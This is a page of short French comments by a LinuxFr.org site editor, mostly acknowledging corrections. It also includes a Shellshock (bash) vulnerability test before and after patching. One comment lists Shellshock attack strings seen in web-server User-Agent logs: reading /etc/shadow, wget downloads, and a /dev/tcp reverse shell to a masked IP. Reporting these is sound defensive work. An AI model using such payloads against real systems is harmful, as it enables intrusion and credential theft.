Benoît Sibaud a écrit 9677 commentaires

Corrigé, merci.

Au passage, merci à tous ceux qui ont donné des infos dans ce journal et ont contribué directement ou indirectement à enrichir la dépêche.

Précision ajoutée, merci.

C'est un bash déjà corrigé (au moins partiellement).

$ env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock"' bash -c "mafonction;"
voici shellshock
bonjour vous
$ sudo -s
[sudo] password for user: 
# apt-get update
(...)
# apt-get upgrade
(...)
$ env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock"' bash -c "mafonction;"
bash: mafonction: command not found

Corrigé, merci.

On peut aussi voir le CVE-2014-6277 (Redhat).

Corrigé, merci.

Correction faite, merci.

C'est qu'il y a autant de définition que de gens j'ai l'impression …

Un geek n'a pas l'impression, il essaie de configurer sa $*£@# d'imprimante non reconnue sur son système exotique connu de 8 personnes. Donc si tu es un geek, tu n'as pas l'impression, donc il n'y a pas de définition du geek. CQFD.

Corrigé, merci. Ça aurait été dommage que les gens utilisant le shell aient un choc…

« C’est marrant que t’aies gardé ce côté maquisard, t’es pas en âge d’arrêter tes momeries ? » (de Pascal à Bastien, pas de Raoul à un Tonton :).

Corrigé, merci.

$ echo -e "#include <stdlib.h>\nint main() { return system(\"/bin/echo -e 'class Hello {\\\n public static void main(String[] args) {\\\n System.out.println(\\\"Hello Troll\\\");\\\n }\\\n}' > Hello.java && javac Hello.java && java Hello\"); }" > Hello.c && gcc -Wall -pedantic -o Hello Hello.c && ./Hello

Dans les User-Agent des logs de ton serveur web par exemple.

C'est varié :

"() { :;}; /bin/cat /etc/shadow;"
"() { :; }; ping xx.xx.xx.xx"
"() { :;}; wget http://shellshock.(...)"
"() { :; }; bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1"
"() { :; }; /bin/ls /"
"() { :;}; wget 'http://xxxxx/s.php?s=http://linuxfr.org/'"

Précision ajoutée, merci.

Idem côté LinuxFr.org, sur chaque serveur.

Pour chipoter, le but de la pub est de normalement de rendre connu / public. Le but de la pub commerciale / réclame est de faire acheter/consommer directement ou indirectement en rendant plus connu. Quand LinuxFr.org affiche une bannière pour les RMLL, c'est pour les rendre plus « connus », pas pour vendre des entrées gratuites illimitées :). Ici on a une dépêche qui concerne un produit commercialisé, comme dans le cas d'une dépêche sur RedHat, Apertus ou Odoo.

Corrigé, merci.

Depuis l'ancien et antique fond des âges ancestraux et immémoriaux pré-Epoch et antédiluviens de tout temps de quand c'était mieux et que les timestamps étaient petits ?

Le souci devrait être réglé complètement désormais, le ménage a été fait dans les données obsolètes.

Les erreurs de 10:42:50, 10:43:04, 10:43:26 et 10:45 sont toutes dues à des collisions avec un compte de 2005. Le souci devrait être réglé pour ce compte en tout cas.

cf https://linuxfr.org/suivi/inscription-impossible-e9a3f149-2269-4162-9451-59c754e4df56

Si la période de sortie s'y prête, je dirais bien le logo de Noël ou d'hiver/FrozenBubble.

Si vous pouviez l'appeler "LinuxFr.org" plutôt que juste linuxfr, ça serait à la fois plus explicite pour avoir des visiteurs sur le site, et plus explicite pour l'utilisateur lambda que ce n'est pas juste des jeux en français pour un système à noyau Linux. Merci d'avance.

Corrigé, merci.